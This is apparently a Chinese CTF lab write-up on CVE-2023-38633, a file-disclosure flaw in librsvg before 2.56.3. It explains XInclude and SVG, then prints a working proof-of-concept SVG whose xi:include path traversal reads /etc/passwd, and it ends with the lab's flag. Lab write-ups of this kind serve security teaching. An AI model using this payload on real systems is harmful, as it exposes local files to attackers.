本文主要是介绍【春秋云镜】CVE-2023-38633在librsvg <2.56.3版本中存在XXE漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
1.靶标介绍
一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=“.?../…/…/…/…/…/…/…/…/…/etc/passwd” 来读取结果。
访问靶场:
2.漏洞分析
CVE-2023-38633主要是利用XXE漏洞,访问敏感文件。
XInclude
XML Inclusions (XInclude) 也是 W3C 的一个建议标准,主要用于对 XML 文档进行结构化拆分和包含,一个典型的用法如下:
<?xml version="1.0"?>
<note xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="xml" href="foo.xml"/>
</note>
- fallback 子标签,fallback 的作用主要提供在 include 加载失败时的默认信息。
- include 标签:包含 href、parse 等属性。
- href: 指定包含的文件 URI,可以是本地文件路径,也可以是网络地址
- parse: 表示所包含文件的格式,为 xml 或者 text,默认为 xml
XInclude 则是在 XML 文档解析之后处理的,操作于信息集上。所以,即便 XML 解析器禁用了外部实体,依然可能可以通过 XInclude 包含文档。
SVG
-
libRSVG 是一个用于在各种平台上渲染矢量图形的库。它通常与 C++ 或 Python 等语言一起使用,并支持流行的矢量格式,如 SVG(可缩放矢量图形)和 PS(PostScript)。
-
可缩放矢量图形(SVG)是一种基于XML的标记语言,用于描述二维矢量图形。与传统的像素图像不同,SVG图像在放大时不会失真,这使得它非常适合用于网页图形设计。
-
SVG图像可以直接嵌入HTML文档中,成为DOM的一部分,这样就可以使用JavaScript和CSS来操作它们。例如,一个简单的SVG圆形可以通过以下代码嵌入到HTML中:
<svg width="100" height="100"><circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
3.POC构造
上传POC
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude"> <rect width="600" height="600" style="fill:rgb(255,255,255);" /> <text x="10" y="100"> <xi:include href=".?../../../../../../../../etc/passwd" parse="text"
encoding="UTF-8"> <xi:fallback>file not found</xi:fallback> </xi:include> </text>
</svg>
发送请求:
查看到/etc/passwd文件内容:
获取flag:
flag{d649f0a7-01a4-4681-b5e8-8f1dc48b7870}
参考链接:
https://zhuanlan.zhihu.com/p/701199455
https://blog.csdn.net/HMX404/article/details/137231580
这篇关于【春秋云镜】CVE-2023-38633在librsvg <2.56.3版本中存在XXE漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!